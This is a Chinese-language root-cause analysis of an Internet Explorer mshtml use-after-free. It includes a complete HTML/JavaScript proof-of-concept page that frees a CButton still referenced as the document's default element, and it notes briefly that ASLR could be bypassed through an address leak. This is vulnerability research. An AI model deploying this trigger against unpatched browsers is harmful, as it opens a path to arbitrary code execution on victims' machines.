前言
首先通过网络搜索,发现国内外在谈论这个漏洞时都说是 mshtml!CDwnBindInfo对象的use-after-free。比如以下链接nsfocus。其实这些都是错误的,那为什么会被说成是mshtml!CDwnBindInfo对象的use-after-free呢,我猜测可能是由于原始的样本中有个图片文件,在图片下载时会初始化mshtml!CDwnBindInfo对象,所以误导了分析者,其实漏洞成因与mshtml!CDwnBindInfo对象没有任何关系。
PoC
将其保存为htm文件即可触发crash。
<!doctype html> <html> <head> <script> function exploit() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.createElement("div"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.innerHTML = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); } </script> </head> <body onload="exploit()"> <form id="a"> </form> </body> </html>
漏洞分析
首先从宏观来观察该PoC的执行过程。
首先PoC会创建多个子元素,并按照以下结构布局。
接着会将Phrase下的所有元素清空,如下图
最终元素布局如下图
以上是我们从表面看到的动作流程,可以猜测可能是 Phrase 对象的子元素销毁时发生某些 问题。至于具体的漏洞成因,还是得深入分析。下面从内存和反汇编级别来简单分析,先观察该页面内元素的创建过程。
ie 首先会依次创建以下元素,这里可以不用关注.
Addrses:0x03653160 mshtml!CCommentElement Addrses:0x0364a060 mshtml!CHtmlElement Addrses:0x03721f30 mshtml!CHeadElement Addrses:0x0364d200 mshtml!CScriptElement Addrses:0x0365ee48 mshtml!CBodyElement Addrses:0x001ae618 mshtml!CFormElement
接着根据 PoC 中 exploit()函数的代码,ie 会依次创建以下这些元素
Address:0x037222c0 mshtml!CDivElement Address:0x03722320 mshtml!CPhraseElement Address:0x0024f0a0 mshtml!CButton Address:0x0372d1b0 mshtml!CBodyElement
接着向每个结构的 firstChild 或者 parentNode 等字段内保存对应的对象,重新布局,最终结 构如图一。(具体的 Element 的对象结构,与版本相关,以及相应的偏移在之前的分析文档 中已经挖掘的差不多了,这里就不再重复,直接带过。)
接着执行 PoC 中的代码 e2.innerHTML = “”;
这导致在 mshtml!COmWindowProxy::FireEvent 事件中释放 CButton 对象
析构完后自然是将Buffer直接Free掉了
要注意的是,虽然此时CButton的内存空间已经释放,但保存在CDoc中的信息别没有删除,仍然存在,只是指向了一块已经释放的内存。
接下来在mshtml!CElement::FindDefaultElem()函数中会寻找默认的元素,根据元素的创建顺序以及焦点等相关因素,默认元素应该为我们上面最后创建的Button,保存于CDoc+0x1A8的位置。
FindDefaultElem()函数最终从CDoc中取出DefaultElement,本例中正常时应返回CButton对象地址,但此时指向的内存正是前面释放的。
此时内存内容已经不可信,继续执行虚函数调用,可能执行任意代码。
漏洞利用
和普通的Use-After-Free漏洞利用相同,可以尝试通过泄漏基址来绕过ASLR。